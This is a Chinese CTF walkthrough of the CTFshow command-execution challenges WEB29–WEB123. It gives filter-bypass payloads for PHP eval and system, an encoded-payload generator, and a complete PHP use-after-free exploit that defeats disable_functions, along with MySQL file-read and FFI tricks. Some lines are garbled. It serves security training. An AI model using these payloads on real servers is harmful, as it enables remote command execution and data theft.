CTFshow命令执行29-123
命令执行
WEB29
- eval是php中执行以PHP脚本执行的命令
- PHP命令可以执行脚本命令
- 本题使用方法是先 system(cp f*.php 1.txt)
- 然后访问1.txt
WEB30
在PHP中 ` 这个符号括起来的内容类似于PHP中的system
- 和上题类似 直接用cp
- 需要注意的是这个符号代表的是执行
- 并不会有回显 回显需要 另写输出
- 需要注意的是这个符号代表的是执行
WEB31
在本题中使用到了一个eval嵌套的知识
- 由于题中接收的变量是c 所以结束c变量的语句
-
在下一个php语句中进行变量传递
-
?c=eval($_GET[1]);&1=echo `tac flag.php`;
-
echo%09`tac%09fl*`;
-
文件包含
WEB32
- 过滤内容
- if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i”, $c))
由于符号都被过滤了可以采用编码方式绕过
- 使用的换行符代替空格(payload使用的是php伪协议)
- ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
- 由于文件包含的是php代码,所以前端无法显示,需要用到php伪协议对文件内容编码后输出
WEB33
- 过滤语句
- if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|”/i", $c))
include和ruquire的效果相同。payload同32
- Php在遇到include 时就解释一次,如果页面中出现 10次include ,php就解释 10次,而php 遇到require时只解释一次,即使页面出现多次require也只解释一次,因此require的执行表率比 include高。
WEB34
- 过滤内容
- if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|”/i", $c))
payload同32
WEB35
- 过滤内容(多了一个<但是不影响使用包含)
- !preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|”|<|=/i", $c)){
payload同32
WEB36
- 过滤语句(多了对数字的过滤)
- if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|”|<|=|/|[0-9]/i", $c))
- payload换一下(get获取的变量值换成字母即可)
- ?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
PHP伪协议利用
WEb37
-
if(!preg_match("/flag/i", $c)){ include($c); echo $flag;
-
使用data伪协议(由于过滤了flag使用占位符)
-
payload
- ?c=data://text/plain,<?php system('tac fl*.*');?>
WEB38
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
- 还是使用data伪协议绕过这里过滤了php字符所以换个payload,本题支持PHP的短标签(当然此项功能需要开启,需要在php.ini的short_open_tag字段进行设置开启)短标签就是
<?=....?>
也就是可以不用php做开头标识 - payload
- ?c=data://text/plain,<?=system('tac fl*.*');?>
WEB39
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
- 这样一关和38可以用相同的payload不同的是没有输出的过程需要直接输出,但是使用命令执行的话不影响
- ?c=data://text/plain,<?=system('tac fl*.*');?>
WEB40
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
- 这里过滤了除()和_之外的符号
- 网传流行的无参rce
- show_source(next(array_reverse(scandir(pos(localeconv())))));
- localeconv()获取当前设置的系统中,所有的数字及货币信息格式的数组(如小数点. 美元符$ 等等) 其中第一个一定是小数点
- pos()弹出括号内数组的第一个值
- scandir()扫描括号内定义的路径,由于上文弹出的是.所以表示扫描当前目录
- array_reverse()表示将数组进行反转,由于题目结构设计按照管理为 . / …/ flag.php index.php 因此要反转后获取下一个指针地址。(注意这里不能用两个next因为next需要的参数必须为数组或者对象,或者指针地址而这里next返回的是一个字符串)
- next 牵扯到指针的内容,next()括号内可接收的内容为 数组或对象或者指针,next()获取的结果是传入内容的下一个指针所指向的内容,简单说就是如果里面存的是数组,且在next前没有对数组操作,那么获取到的就是数组中的第二个索引值。如果存储的是对象那么获取的就是对象中的第二个属性。
- show_source()别名 highlight_file() 通俗点讲,就是将文件的源码进行输出。
- ctf,百度群主给出的操作
- ?c=print_r(get_defined_vars());可以输出所有的变量,如果此时通过post传递一个1=phpinfo();,那么打印的变量就会多一个
- 根据输出内容可以看到post传递的内容在数组的第二个中
- 通过next即可获取到数组中的第二个数组的指针。并打印出来。
- 然后利用array_pop()这个函数将数组中的值可以弹出
- ?c=eval(array_pop((next(get_defined_vars()))));
- post中提交 1=system(‘tac flag.php’);
- 解释:通过post传递一个值,会存储在当前页面的变量中,get_defined_vars()获取当前页面所有变量,next取当前页面变量的第二个,也就是一个数组,array_pop是弹出数组的值,eval执行弹出的值。
WEB41
源码
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
echo($c);
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
由于本题过滤的数字和字母,因此无法直接的构造任何payload,但是这里留下来一部分的符号,如小括号、以及一些特殊符号和运算符号,因此这里利用符号间的或运算,对用到的payload进行伪装。
payload:
c=%28%22%13%19%13%14%05%0D%22%7C%22%60%60%60%60%60%60%22%29%28%22%14%01%03%00%06%0C%01%07%00%10%08%10%22%7C%22%60%60%60+%60%60%60%60.%60%60%60%22%29
这里在构造payload的时候要注意,$c的类型不能是字符串类型的因此在构造的时候url解码后必须为引用类型
payload生成代码如下 只需要更改$shell_exec $shell_args 这两个变量生成payload后提交即可
<?php
function encode($cmd){
$payload1 = "";
$payload2 = "";
$len = strlen($cmd);
for ($p = 0; $p < $len; $p++) {
for ($i = 0; $i < 255; $i++) {
if (preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', chr($i))) {
continue;
}
for ($j = 0; $j < 255; $j++) {
if (preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', chr($j))) {
continue;
}
if (chr($i | $j) == $cmd[$p]) {
if ($i < 16 & $j < 16) {
$payload1 = $payload1. "%0" . dechex($i);
$payload2 = $payload2. "%0" . dechex($j);
continue 3;
}elseif ($i<16){
$payload1 = $payload1. "%0" . dechex($i);
$payload2 = $payload2. "%".dechex($j);
continue 3;
}elseif ($j<16){
$payload1 = $payload1. "%".dechex($i);
$payload2 = $payload2. "%0" . dechex($j);
continue 3;
}else{
$payload1 = $payload1. "%".dechex($i);
$payload2 = $payload2. "%".dechex($j);
continue 3;
}
}
}
}
}
return "(\"".$payload1."\"|\"".$payload2."\")";
}
$shell_exec = 'phpinfo';//执行的函数
$shell_args = '1';//传递的参数
echo encode($shell_exec).encode($shell_args);
WEB42
system($c." >/dev/null 2>&1");
-
”生僻字“
- >/dev/null 将结果保存到null中也就是没有空间进行存储,可以理解为丢入黑洞
- 2>&1 也就是 错误重定向到标准输出
- 简而言之 就是$c传递的字符不论执行出来的结果是什么统统不进行显示
-
绕过方法
- 使用分割符:
- ?c=tac flag.php ; ls
WEB43
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
- 没有“生僻字”和上一关一样 区别在于过滤了;符号所以换个绕过方式
- 绕过方法
- ?c=tac flag.php && ls &&需要进行url编码 %26%26 也就是&的ASCII的编码
- &&是指前面的运行正确后才运行后面的代码
WEB44
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
- 直接绕过区别在于 多了flag的过滤 通配符绕过?c=tac fla* && ls或者echo I F S t ˋ a c IFS\`tac IFStˋacIFS*`%0A
- I F S 的使用需要注意, IFS的使用需要注意, IFS的使用需要注意,IFS后面不能直接跟字符串。
- 但是${IFS}后面可以 也可以 $IFS’要跟的字符’
WEB45
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
- 多了空格的过滤%20 使用制表符也就是tabl %09
- ?c=tac%09fl*%26%26ls
- ?c=tac${IFS}fl*%26%26ls
WEB46
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
- 多了对通配符*数字的过滤可以用通配符?进行代替 不影响使用上一关的方法过滤了$符号明显不能用命令行绕过了
- %09虽然有数字但是url解码后不是
- ?c=tac%09fl??.php%26%26ls
- nl<fla’'g.php|| nl表示列出指定文件的行号这里和cat有差不多的作用。需要在源代码中检查
WEB47
同46payload
WEB48
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
- 同46
WEB49
这里过滤的内容都是可以文件读取的命令
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
- 同上
WEB50
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
- 由于无法使用使用空格所以tac也GG换一个不用使用空格的
- ?c=nl<fla’'g.php%7C%7Cls
WEB51
同上
WEB52
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
- 大于号小于号也被过滤但是
$
符号给放出来了所以可以使用linux的内置环境变量 ${IFS} IFS存储的内部字段分隔符,默认是空格或者制表符。所以可以用这个代替nl命令中的<符号。 - 经过测试发现网站目录下的flag是假的真的在root根目录
- payload=?c=nl${IFS}/fla?||
- 也可以用拷贝的方式,将新文件命名为txt文件,这样就不会解析了。
- ?c=cp$IFS/fla?$IFS/var/www/html/a.txt||ls
- 然后访问网站目录下的a.txt即可获得flag
- 如果$IFS 不能使用可以考虑 ${IFS}
WEB53
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
- 直接ca’‘t${IFS}fla’'g.php
WEB54
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
- 过滤了’'符号绕过 mv没有过滤 cp也没有 使用cp赋值出来一个文件
- wp给的应该最骚:/bin/?at${IFS}f??? 直接从根目录调用,成功绕过。
WEB55
源码
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
本题不能有字母,考虑用前面的运算符,最后失败,分析原因为 c 需要的是字符串,而传入类似 ( " c 需要的是 字符串,而传入类似("%24%29%32"|"%40%40%40")这样的,数据传入后没有经过代码的执行不会进行运算。最终的结果就是`system((" c需要的是字符串,而传入类似(")2"|“@@@”))` 执行结果无法达到目标效果。
参考网上P神文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html详细讲解了为什么可以这么操作。如下附上使用的http头数据
POST /index.php?c=.%20/???/????????[@-[] HTTP/1.1
Host: 14f23f0e-9654-4a33-94f7-5268b627eb8b.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: UM_distinctid=17ffcdc88eb73a-022664ffe42c5b8-13676d4a-1fa400-17ffcdc88ec82c
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------277782556119059
Content-Length: 325
-----------------------------277782556119059
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
123
-----------------------------277782556119059
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
!#/bin/sh
whoami
-----------------------------277782556119059--
WEB56
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
- 上传文件然后访问达到命令执行的效果
- 本地创建一个上传文件的表单 action提交给目标网站
- php的网站会把别的地方提交过来的东西存放在临时文件夹下命名为一个8位数无后缀的文件如果在提交后有执行调用就执行没有就删除
- 第一步创建一个提交表单随便提交一个txt文件 在提交的时候抓包
- 第二步:抓包后构造执行语句?c=.%20/???/???[@-[] 在下面文本文件内容中写要执行的命令
WEB57
源码
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
由于本关无法使用任意的数字以及字母,但是$()
这几个符号都可以使用,并且题目中提示这里要构造出c=36的结果。所以这里可以使用linux的运算符构造payload
使用在linux中的命令行中$()
大概可以表示为是运算,如$((1+2))
那么运算结果就是3 ,如果为空结果就是0。
$(())
结果为0,取反就是-1由于$((这里可以写任意的运算))
所以只要在里面填充37个相加的-1在将最终结果取反就是36,如图表示的是-37的二进制形式,取反就是 0010 0100转换为十进制就是36.
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uvAqQDDa-1659758241772)(命令执行.assets/image-20220728230931755.png)]
payload构造如下
WEB58
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
本关看起来是什么都没有过滤,但是尝试后发现禁用了常用的命令执行函数,类似system这些,而且phpinfo函数也被禁用,无法知道禁用了哪些函数。这里测试到include没有禁用,所以配合php伪协议获取flag.php文件,
payload
c=include('php://filter/convert.base64-encode/resource=flag.php');
WEB59
本关和上一关一样,可能禁用了跟多的函数,但是上一关payload依旧奏效,另外wp的show_source函数也没有禁用。c=include(‘php://filter/convert.base64-encode/resource=flag.php’);
WEb60
c=include(‘php://filter/convert.base64-encode/resource=flag.php’);依旧可用,包括highlight_file,只要页面使用了就表示没有禁用,应该可以一直杀下去。
WEB61
show_source(‘flag.php’);查看网页源代码
WEB62
'依旧可以通杀,群众给的骚姿势:include(‘flag.php’);echo $falg;
WEB63
依旧可以通杀,群众给的骚姿势:include(‘flag.php’);var_dump(get_defined_vars());
WEB64
本题与以上没啥区别,但是群主又给了一个骚的思路,rename(‘flag.php’,‘1.txt’);将文件进行重命名
scandir(‘.’);扫描当前目录这个函数也没有禁用。
WEB65
var_dump(scandir(‘./’));扫描当前的目录
以上代码依旧通杀,但是这里给到一个新思路curl虽然这里被引用了但是,这种方式比较巧妙附上有关介绍。
https://blog.csdn.net/weixin_39616995/article/details/82346526
WEB66
本关禁用了show_source,并且把flag的位置换了,使用print_r(scandir(‘/’)))扫描发现在根目录,由于highlight_file()没有禁用,所以payload就是c=highlight_file(‘/flag.txt’);
WEB67
本关禁用了print_r换用var_dump进行读取目录,最终payload依旧是c=highlight_file(‘/flag.txt’);
WEB68
这里吧highlight禁用了但是scandir以及var_dump依旧没有禁用,可以扫描到flag.txt依旧在根目录,使用include进行包含即可输出。
WEB69
web68的方法依旧可以使用。但是这里测试整个流程的时候发现var_dump以及print_r禁用了。加入flag.txt更换了名字就无法知道了,一番探索后想到了next附上payload,
c=$b=scandir('/');next($b);next($b);next($b);next($b);next($b);echo next($b);获取到flag.txt的文件名,只要在中间一直加next($b);就可以看到下一个文件名当然也可以用for循环遍历输出
payload依旧使用include(‘/flag.txt’);
WEB70
表面看像是多禁用了ini_set以及error_reporting不影响使用之前的方法。
WEB71
源码
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
还是用next获取文件名,只不过要加一个exit;过滤掉后面的代码
WEB72高端内容
限制了目录访问权限,所以需要使用到glob伪协议来读取目录
c=$b=readdir(opendir('glob:///*.txt'));echo $b;exit;读出的结果是flag0.txt
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9Vu0rEuK-1659758241773)(命令执行.assets/image-20220729012148496.png)]
通过上一步读取出来的文件名,利用auf漏洞进行内容读取。
auf:利用原理,当一个程序使用的内存块被释放后,指针没有被归为null,如果在这时对这块内存块进行了修改,那么重新,使用这个指针,可能就会造成非预期的奇怪问题。
poc
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
WEB73
这里还是需要读取目录,本关没有了目录的限制所以依旧读取目录,依旧是利用指针相关的进行读取。但是不用next换一个用法payload如下:如果还是被禁用,下面的目录读取写法依旧用glob协议
c=$a=scandir('/');
foreach ($a as $index => $item) {
echo $item."\n";
};exit;
include被禁用了这里换用require读取c=require('/flagc.txt');exit;
WEB74
果然禁用了scandir,这里换用glob读取,这里不能用循环读取,因为readdir读取返回值是string类似next每读一次指针下移一位。
$a = "glob:///*";
if($b = opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$file."\n";
}
closedir($b);
}exit();
WEB75
这里禁用了uaf,需要用到mysql的相关操作了。至于数据库名,可以通过查询得到,只需要知道数据库的账号密码,可以通过infomation_schema数据库查到本题的数据库名,但是要注意如果功能没有开启的话也就是mysql.ini中没有配置secure_file_priv=''
或者配置 secure_file_priv=null
load_file无法使用。
查询数据库名
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root',
'root');
foreach ($dbh->query("select group_concat(SCHEMA_NAME) from SCHEMAta") as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
读取文件,这里的
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
WEB76
这里同上一题只不过flag文件更换名字为flag36d.txt
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
WEB77
php7.4的新特性可以创建对象,这里也就类似是创建了一个对象,其中的函数system与php定义的函数system功能一样,这里直接使用
$ffi = FFI::cdef("int systema(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->systema($a);//通过$ffi去调用system函数
WEB118
本关从源码看出来是个命令执行,经测试常用的都被过滤。
但是${}
没有过滤,通过这个方法构造字符串nl ???.???即可
按照惯例,该页面是在/var/www/html下这里的l有了 环境变量是 /bin n也有了构造
${PATH:~A}${PWD:~A}${IFS}????.???
${PATH:~A}是取环境变量的最后一位,${PWD:~A}取当前目录的最后一位${IFS}代替空格
WEB119
总之就是利用一切可以利用的环境变量进行构造
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}}${IFS}????.???
${#}=0
${#SHLVL}=1
${PWD}=/var/www/html
${HOME}=/root
${#HOSTNAME}=4 root一共四位
${HOME:${#HOSTNAME}:${#SHLVL}}${IFS}=${HOME:4:1} 也就是t 测试发现这里的~似乎无法使用了。
上面翻译过来就是 /???/??t ????.???
群主给的payload 利用了两个PHP的环境变量
PHP_CFLAGS=-fstack-............
PHP_VERSION=7.3.22
SHLVL=2
3=${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}
tac=${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}}
payload=${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}}${IFS}????.???
WEB120
一种wp
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
这里的${USER:~A}是多少不清楚,最终flag在代码最底部,需要查看源代码获得
群主给的payload比较极限差一点就超了,利用的是base64 最后一位通过随机数的当随机数为4位的时候即可拿到flag
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
WEB121
payload1
/bin/rev
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
payload2
/bin/base64
${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
这里的${#?}
代表的是1 因为${?}
代表是上一次执行的状态,正常为1不正常为0 加上#号取长度,无论上次执行是否正常都是1
WEB122
本关过滤了#还有更多的环境变量,只能随机了运气不好可以用burp跑
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
WEB123
payload
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
这里的正则表示的是[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]
符合这个匹配的多组数据,所以payload传入后就会将所有的字母匹配到 纯数字是不能匹配到的数字前面必须要有字母。
而base_convert(37907361743,10,36)(dechex(1598506324))执行后的结果是 _GET 这里采用变量覆盖的方式。对后续参数进行逃逸。